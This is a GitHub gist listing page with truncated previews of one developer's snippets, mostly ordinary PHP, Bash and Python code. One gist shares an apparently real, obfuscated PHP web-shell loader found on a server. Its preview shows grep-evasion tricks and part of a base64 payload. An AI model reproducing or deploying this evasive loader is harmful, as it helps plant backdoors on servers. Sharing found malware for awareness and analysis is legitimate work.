Skip to content

Instantly share code, notes, and snippets.

@pbowyer
pbowyer / configure-mailgun
Created October 7, 2016 08:02 — forked from jgeewax/configure-mailgun
Script to configure Postfix for Mailgun
#!/bin/bash
# Configuration for the script
POSTFIX_CONFIG=/etc/postfix/main.cf
POSTFIX_SASL=/etc/postfix/sasl_passwd
function confirm () {
read -r -p "${1:-Are you sure? [Y/n]} " response
if [[ $response == "" || $response == "y" || $response == "Y" ]]; then
echo 0;
<?php
class My_Walker_Nav_Menu extends Walker_Nav_Menu {
function display_element( $element, &$children_elements, $max_depth, $depth=0, $args, &$output ) {
if ( !$element )
return;
$id_field = $this->db_fields['id'];
@pbowyer
pbowyer / doctrine2queries.php
Last active June 8, 2016 14:44
Doctrine2 ordering question
<?php
// I have a Doctrine2 Entity
// It has a 1 to Many relation with Meals, which in turn has a 1 to many relationship with MealDates
// If I run the following, the results are ordered correctly
$event = $doctrineRepository->find(42);
$qb = $this->_em->createQueryBuilder();
$qb->select('m, md')
->from('Meal', 'm')
@pbowyer
pbowyer / inde.php
Created May 27, 2016 07:28
A more interesting than usual hacking attempt found on a server. Note the protection against people grepping `eval()` or `base64_decode`
<?php
$A3 = 'esyuhdolrtmp4gjba6w;cqfivzkn_x';
$kz = $A3{1} . $A3{9} . $A3{8} . $A3{28} . $A3{8} . $A3{0} . $A3{11} . $A3{7} . $A3{16} . $A3{20} . $A3{0};
$RYm = $A3{15} . $A3{16} . $A3{1} . $A3{0} . $A3{17} . $A3{12} . $A3{28} . $A3{5} . $A3{0} . $A3{20} . $A3{6} . $A3{5} . $A3{0};
$JKQ = $A3{20} . $A3{8} . $A3{0} . $A3{16} . $A3{9} . $A3{0} . $A3{28} . $A3{22} . $A3{3} . $A3{27} . $A3{20} . $A3{9} . $A3{23} . $A3{6} . $A3{27};
$vKI = $JKQ( "", $RYm($kz( array($A3{19}, "\n"), "", "CgokR0x;PQkFMU1;snYXV0aF;9wYXN;zJ10gIC;AgICAgICA9;ICI3Mz;gwM2Ji;YTk4Zj;IzNjYyMWMw;YmZhMW
Qy;ZjVlNj;gyZS;I7CiRHTE9;CQUxTW;ydkZWZhdW;x0X2FjdG;lvbid;dICAgI;D0gJ0Zpb;GVzTWFu;JzsKJEdM;
T0JBTFNbJ2;RlZm;F1bHR;fdXNlX2;FqYXgnXSAg;PSB0cnVlOw;okR0xPQkFM;U1snZGVm;YXVsdF;9jaGFyc2
V;0J10;gICA9;ICdXaW5kb3;dzLT;EyNT;EnOwokR;0xPQkFM;U1sn;Y29sb3;InXS;AgICAgI;CAgIC;AgIC;A9ICcj
RjBG;RjcwJzsK;CgppZigh;ZW1wdHkoJF;9TRVJ;WRVJbJ0h;UVFBfV;VNFUl9BR;0VOVCddK;SkgewogIC;AgJH;
@pbowyer
pbowyer / php_oboe functions
Created April 26, 2016 16:48 — forked from rsalmond/php_oboe functions
AppNeta php_oboe function signatures
<?php
/**
* Oboe API for PHP
*
* This can be used for autocompletion in many major PHP editors
* provides documentation for the code
* and can be used on systems where the oboe extension is not loaded
* to provide no-op versions of functionality
*/
$ = jQuery;
/*
* jQuery BBQ: Back Button & Query Library - v1.3pre - 8/26/2010
* http://benalman.com/projects/jquery-bbq-plugin/
*
* Copyright (c) 2010 "Cowboy" Ben Alman
* Dual licensed under the MIT and GPL licenses.
* http://benalman.com/about/license/
*/
@pbowyer
pbowyer / testcase.py
Last active November 9, 2015 14:18
This gives different results on each platform we test
"""
Please paste your output into a comment at
https://gist.github.com/pbowyer/2e257c7567d8ac8d0201
"""
import scipy # Imported for version number only
from scipy.odr import Model, Data, ODR
from scipy.stats import linregress
import numpy as np
def orthoregress(x, y):
@pbowyer
pbowyer / GTiff_compression_benchmark.py
Last active November 1, 2015 09:17 — forked from kr-stn/GTiff_compression_benchmark.py
Benchmark filesize and read/ write times for various GeoTiff compression algorithms
__author__ = 'kersten.clauss'
"""Benchmark different GeoTiff compression algorithms.
Usage: GTiff_compression_benchmark.py some_geo.tif
Requires the GDAL tools to be present and executable from the command line of your system.
This script will take a GeoTiff as input and create copies with different compression algorithms from it.
It measures the filesize, compression and decompression times and returns them as a table.
<?php
//Deletes all CSS classes and id's, except for those listed in the array below
function custom_wp_nav_menu($var) {
return is_array($var) ? array_intersect($var, array(
//List of allowed menu classes
'current_page_item',
'current_page_parent',
'current_page_ancestor',
'first',
'last',
@pbowyer
pbowyer / .htaccess
Last active August 29, 2015 14:03
Test case for PHP bug #67541
# /var/www/example.com/web/.htaccess
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php/$1 [L]